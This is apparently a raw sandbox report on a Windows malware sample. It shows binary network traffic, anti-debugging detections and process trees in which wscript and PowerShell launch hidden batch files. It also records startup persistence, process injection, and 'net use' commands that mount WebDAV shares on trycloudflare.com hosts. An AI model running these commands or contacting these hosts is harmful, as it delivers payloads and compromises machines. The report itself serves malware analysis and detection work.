Data received TÄijÞýM~ºÅš[ Ýø´†‘bèj½}rC\¥«Ù èÿ»…KZS.ÛxùW`úD;*AZÜU›iÛ¿YÄ{šØ=<Š&6T­®c™ëa£7/öyò/º:ÝPE8W†Æ#f¾$e¥TËf~¾i‘þ¸¿Vûû#•FQJ@)ܳ/_¦¥þòs=ž¸59º²ûv>Hö ˆœ«KÙ´–¨ìüÓà¸Ü%?4‚$Óa dúã…2Aגï Õwµ;iŸ‘ Bo«ÂZÁº²oÞ;-éèá@”1¨žþç˜öûà‚-¯#Уô‹_ßÃØ =Ês„þðñúK2 …p-m,Mf;fÇ;í­¼·Ðr~o¡qOz´/—ï檘©åÑf „ŒhwÍu™}Â[Z¿{ž7TŽ 7ɧàŠXƒÜ>ð•yÛþ}ƒ:GᢡÇs:)ïÑ6›¾¨ÈœävÖz¤:±aU³Yò”Šæ<– ]—6l—ŸÑo ÍÿL¼K"ö`]·þcr b<v£¾sföµÑJ>žáD'F¸—^õ¨ïÁ×4®$—|çhüXFÝV|úË¡˜!ÛmMÉ,þxíכEÚX¶l–wƒ^¯;Ýz2ôÖožN¼£´æ¬-%_¦žAkŸô£‹m°Óˆï©Vw‰œ˜–× 3'Å˓‹s~Ê)L;Þl¿¼À¤CRÆ÷wc-]ý]äwÞrW&¿T­Ÿºª]]uÍ*@žô‚/;hXJÙ®?^̆,qQÏlâg)!Èsù}æeáÿ(F+S y‡ÄÝkMnúYöIðîS™Í§ÊÝqŽák²D.°L}m£ ÉÍ4=KšéÝÝNâËÖ¯|õ²NPP+sä7NoÆώSç3·0ö^ré bTôÔÿtM÷žÄ4,’èiۊ Œç…. Ý´Ê¥sžk ¢ÏSy”•FtvýÞçv ŒºgƒM8s°ë7OìÜ»¹1@dŸó‰óîü7_x>¥VÅL/2ptÜO”Ÿ#‰µLIê‡ †2"&J"´«jÌïX”Æš˜,¿»¾2<™žxöÇøÓGÉFhß:>B#Ö‘ÒH®Ìé­àéx¾x)RÞaÖxp yõèmñÃI&Â[¤NPIg J¨®ìwôøŒÆ^ÔKrb{ƒ•ç_ŸY*Ð×|'(ñÛ]¸vâÔ°eÔs©'’âÂlns³¢¾*­£)éÇ@:J[åûºõ Ø[küjôõò4?¤@Ãqò‹²OÓ.ÔØh‘ÁBǶö0 ”ÎKíf6ßýŒŸÞ~žSÅô½×u×28eï¤`1˜‘.ÉuAf7ny¦Á ßY Ç*P’Ðë2:“2qˆø9ä×Qß8xÖõkàœd<ŘðþT {ZÞÀ‡¢H5WØnr{5K_m¢$~ª…úÒáSÕ&Nö`Æ°±@„4ÔÇU~2}Y3u¾1“\VÜU4èAê^ŠaVýý "eÚ¶®s4|™Â^NݪXp,îÔ/ÓngtâF“„R¯„ƒr60ŠÏ±:¡©xTî#úSÊÁU•‚Xs0h6Uê¤#°¾§b ð±ôDuõañÑ£|N4o¦®ÆSS…ÒƒÖ`cïy8–í÷Ýòý{ÛoVCvåí‹ ÿ&¶+ø†¿õs¨ž·ˆç§ù8£sPxÍÐiCÍ7C?~±œ¡ÇÚâdŠ<µü%s{%{‘ÃÐV4ãǧº¶ ± nÿ£;iŽÒW-ÚuMþšQí~mâºoå~å\–ÇžØ;¾"l¨[ê|¨2e£ì.ûÐ~X†l3šs!Pä
Data received VçþS󚌛ÿ96Õþd€ˆ,'°“ùn„Å^LÔåuß´2~3}ãYÕßÀbu¥yîÙ½9Ñá××Õ¦*å0it)ëz¢H“Ûß/Õ²ÈQ»z–ç3¯1ÏbwN!G/’ÂBF†–¬V€:Sgn/–ýë‡=Àp¹O~ݑJÉq2,S2gò2$3u¶‘²TÐ{u0B|¼Zóëû´bßaì‘d£ãÄO YWoyŠ/Ý >Z«[& ¶M× ‚¯óÚAJÕ/j£a8]öúâ#^o’ñ#`3´„÷<Ã}¬ÜÔÒ´ÝÞ֢ĈÀ9õñr·ÙE¬ø}¾= õ¢"“ê†S• °;÷)Àc×g›¡MÂõ¿uʳ€œ¾¡MŠ³<*ŠŽHSWÖô0;ßs«¦5wC႑ÏxeÍîú|¨~Aƒ¢N9ØR§,Åø+»èÊ"Ff$OùCIZànä<uÝš÷)4w€Í'äkHJ‡aÓHy õ—½Ð\BXUa³šéápԈI`É4Vw‡¥þ~+1`ϝ¼Ó¦¡,¦0ˆöãÖٜãrµ·°Ðk^7`á‚> TÁàÓÏÊËvð*Àö׈Á,lP‘lzµíŝ3-ƂÜëJjº[jR½išA¦_ÔÝ •:f+N.ì<ÁY"2sfë=ÐdׁRÔò~~ŽáT“w©m Øˆý-sMbAúäyŽÌ¼éÕóg›4·5]ÎPr-{0‡¾\“©¼ÅKt#åv­ˆQiõD¼Ä©«ø  ‚ž¸¹('Åq¾Ñ¹]®²öò6-‡ÎëáA|¼ ч"\SM`˜aëj:|?ûöZœ‡Ù¡åu¨©êû_µhe²YÔÜc­b¶kõ¤˜1KaùCʍwH~ÇlH>®JPÁ JÕ »ç˜ ªÐ±ÆCmƒyìÎJ([:;ï  Š°¡ÁÞ±ˆÛ¹«f§AÎâe_ Öà™o~°šûZÜ9­’á_L,±}ëjƏ”˜'-Øx¸ýV¶>®DLSoœÚãÁÏÏ¢LœóMýmDÎË&¼Œ†¯ô+Óxçi#ßäàÌ-Ÿ¼9Çs‡ù#<¬ØT!$Rèx¶~ªnאZ6ù#„íE1å‚ùvw»2]¸ !"U>ìaô$L% í"#™ø—BZuáJ0™®.rz,G†—š¡QÌêê•|y ¤‡´( p™†uÚ᜕Jâ›ÉÉvÅ0x…¬P+*Ë2éÇÛÒqÖß#)3ÿôÖø°æ7© ƒ„üùÿÂ¥Zc‡TΤҡë:&:·™w%tŒ‘å|9ºnrè^®U 9½ÍñÐáqrpNÊ£ª#ibÔzZºë~<¶,°Í[_/ÿ£ðÒ÷y +ÙȘUÉÇè÷œèT ׄ Gtœ®Ý{~ØÒr[?8’‰œÚ‚Œ>`j^NÒîÐ gǔB¥µùò7<ÔÇ¿Mwžó+~¸i Î;ÍF`Ç¥ AԜWèaª¼S†BKL× Ì<ÛñU®CÍAµû¬5¿òèjÍÑöJ*·@6Ì5¿S!™Á]PªÑނPa|·î¤™ÎR*Çùo¶çÅè©Ëw®ž|¤\|MíŸ zÛ-_>ŸW·X&ŽM¥—€°.]ªÑ½]èÉXaeÀ ©µë‰u,»J æM…ý+–3ÞVɡʏ Òúgkµ µ=†§h¦Ÿ÷gåvõ²C bðû}ú"8ù8뫍,ø½vߞ-”úç…þ­¯©³œPšÞšÝ°ò…65~g¦!ã™e%Ü3s° Œ…<O
Data received ð
Data received 8#ë̖Ν³õ@"ü…yÃlùDqßâQ0Øv Üv¤:‘´^€ÎBPøâ §¤èæxwœÿåQ©/́œ’*ùœ¢Š#̃‰˯NßÑ7¼&oΎ¡_2ýˆfÎò‹ôëzü¶‡s¦ €¿ñI&r‡æPƒŠÝÀ+eQ©„ÀËR«Ÿa7xл•ÁHÕëó6ò³Sâ©Hä,Àz¥7Ö«¥)¿.üüÔhÇtÐáTÿ«ûq2¬ÐÝì_?¢ßé–[hEˇ?«vÄ!jÉ1k,»(͓T׋R£¶ E«zeœ·LüCß±Œ§lGÃÓôÔ9*»¸"ßQ¹­Q9vôþ´.0k!´¡_^ÌÈ'kŠ§8Fßã$ğ¢ø–äî4$íY¾r¹J.&¸ï)Éñh¥Ë¾«À`¬Uvև<yšj+% ºX4ÌÔ¸ŒæqׁšÿÒ:m"¤ÒɤOR)OšÒǞúÀiëðw–ö´§'V`PâNË[,¦žÕ«̱wÙg¸>IÁòè‹KœøV]É¿×RidŽ†f¬óÆLô0»»}ât^]ÇàMÓ˜ÿ†/>æâhÑôÇh‹cÂÄ"b×P8ÉQ Nné·A};ë.•åŠÅªÆäš óåo.ÄeûÉÜ'
Data sent ”hã a%š¸oàJ-E‰ÊKvOàèðÄ$q´&/5 ÀÀÀ À 28Oÿ641minutes-amazing-curriculum-maui.trycloudflare.com  
Data sent FBAÊ|®;c~¢]¶8C0YÌìvìYA/$Å)|ï€å®Ãù'ÕÖµÑklwïîgÞ è”ýÙÄ0¦ïR„0Ø·¾C›r¡‘:ΓµÂUMÍJõÜñßs¸eT”n9¼™®¸ý œŸl
Data sent ÓÛß»ÛÃ¥ím/‹N¤[ͨƘ)¹gº¿*ˆI!Oœæì0Ä]*7@Hw7àW¬¿ÐÃÆ Û^ž×u¨ŽXvœœÈ4H5NÜ<ú–½x‰AWâ-±ÑÈ9%½ ÊOuOOþ‚z° ßýƒû?3ڞ&†ý»K;l !è2ð–Óg,ÕÑßHø)d Ô$:
Time & API Arguments Status Return Repeated

LookupPrivilegeValueW

 system_name:
privilege_name: SeDebugPrivilege
1 1 0

LookupPrivilegeValueW

 system_name:
privilege_name: SeDebugPrivilege
1 1 0

LookupPrivilegeValueW

 system_name:
privilege_name: SeDebugPrivilege
1 1 0

LookupPrivilegeValueW

 system_name:
privilege_name: SeDebugPrivilege
1 1 0

LookupPrivilegeValueW

 system_name:
privilege_name: SeDebugPrivilege
1 1 0

LookupPrivilegeValueW

 system_name:
privilege_name: SeDebugPrivilege
1 1 0
description (no description) rule DebuggerCheck__GlobalFlags
description (no description) rule DebuggerCheck__QueryInfo
description (no description) rule DebuggerHiding__Thread
description (no description) rule DebuggerHiding__Active
description (no description) rule ThreadControl__Context
description (no description) rule SEH__vectored
description Checks if being debugged rule anti_dbg
description Bypass DEP rule disable_dep
cmdline C:\Users\test22\AppData\Local\Temp\batchcache\curl.bat hidden
cmdline cmd /c net use Z: /delete /y
cmdline "C:\Windows\System32\cmd.exe" /c net use Z: "\\minutes-amazing-curriculum-maui.trycloudflare.com@SSL\DavWWWRoot"
cmdline net use "\\travel-sagem-distant-potential.trycloudflare.com@SSL\DavWWWRoot"
cmdline "C:\Windows\System32\cmd.exe" /c net use Z: /delete /y
cmdline net use Z: "\\minutes-amazing-curriculum-maui.trycloudflare.com@SSL\DavWWWRoot"
cmdline "C:\Program Files (x86)\Internet Explorer\iexplore.exe" -nohome
cmdline net use Z: /delete /y
cmdline net use W: "\\lu-phys-peru-goes.trycloudflare.com@SSL\DavWWWRoot"
cmdline "C:\Program Files (x86)\Internet Explorer\iexplore.exe" SCODEF:3012 CREDAT:145409
cmdline cmd /c net use Z: "\\minutes-amazing-curriculum-maui.trycloudflare.com@SSL\DavWWWRoot"
file C:\Users\test22\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\update.bat
count 889 name heapspray process powershell.exe total_mb 55 length 65536 protection PAGE_READWRITE
registry HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\F81F111D0E5AB58D396F7BF525577FD30FDC95AA\Blob
Time & API Arguments Status Return Repeated

send

 buffer: ”hã a%š¸oàJ-E‰ÊKvOàèðÄ$q´&/5 ÀÀÀ À 28Oÿ641minutes-amazing-curriculum-maui.trycloudflare.com  
socket: 1420
sent: 153
1 153 0

send

 buffer: FBAÊ|®;c~¢]¶8C0YÌìvìYA/$Å)|ï€å®Ãù'ÕÖµÑklwïîgÞ è”ýÙÄ0¦ïR„0Ø·¾C›r¡‘:ΓµÂUMÍJõÜñßs¸eT”n9¼™®¸ý œŸl
socket: 1420
sent: 134
1 134 0

send

 buffer: ÓÛß»ÛÃ¥ím/‹N¤[ͨƘ)¹gº¿*ˆI!Oœæì0Ä]*7@Hw7àW¬¿ÐÃÆ Û^ž×u¨ŽXvœœÈ4H5NÜ<ú–½x‰AWâ-±ÑÈ9%½ ÊOuOOþ‚z° ßýƒû?3ڞ&†ý»K;l !è2ð–Óg,ÕÑßHø)d Ô$:
socket: 1420
sent: 149
1 149 0
parent_process wscript.exe martian_process "C:\Windows\System32\cmd.exe" /c "C:\Users\test22\AppData\Local\Temp\batchcache\tre.bat"
parent_process wscript.exe martian_process "C:\Windows\System32\cmd.exe" /c net use Z: /delete /y
parent_process wscript.exe martian_process "C:\Windows\System32\cmd.exe" /c "C:\Users\test22\AppData\Local\Temp\batchcache\curl.bat"
parent_process wscript.exe martian_process cmd /c net use Z: /delete /y
parent_process wscript.exe martian_process "C:\Windows\System32\cmd.exe" /c net use Z: "\\minutes-amazing-curriculum-maui.trycloudflare.com@SSL\DavWWWRoot"
parent_process wscript.exe martian_process "C:\Windows\System32\cmd.exe" /c "C:\Users\test22\AppData\Local\Temp\batchcache\de.bat"
parent_process wscript.exe martian_process cmd /c "C:\Users\test22\AppData\Local\Temp\batchcache\de.bat"
parent_process wscript.exe martian_process cmd /c "C:\Users\test22\AppData\Local\Temp\batchcache\tre.bat"
parent_process wscript.exe martian_process cmd /c net use Z: "\\minutes-amazing-curriculum-maui.trycloudflare.com@SSL\DavWWWRoot"
parent_process wscript.exe martian_process cmd /c "C:\Users\test22\AppData\Local\Temp\batchcache\curl.bat"
parent_process powershell.exe martian_process C:\Users\test22\AppData\Local\Temp\batchcache\curl.bat hidden
parent_process powershell.exe martian_process "C:\Users\test22\AppData\Local\Temp\batchcache\curl.bat" hidden
parent_process powershell.exe martian_process C:\Windows\System32\cmd.exe /c "C:\Users\test22\AppData\Local\Temp\batchcache\tre.bat" hidden
parent_process powershell.exe martian_process "C:\Windows\system32\cmd.exe" /c "C:\Users\test22\AppData\Local\Temp\batchcache\tre.bat" hidden
Process injection Process 3012 resumed a thread in remote process 1680
Time & API Arguments Status Return Repeated

NtResumeThread

 thread_handle: 0x00000340
suspend_count: 1
process_identifier: 1680
1 0 0
file 1ac0249a4c6ed5f3_update.bat
value Uses powershell to execute a file download from the command line
option -windowstyle hidden value Attempts to execute command with a hidden window
option -windowstyle hidden value Attempts to execute command with a hidden window
file C:\Windows\System32\cmd.exe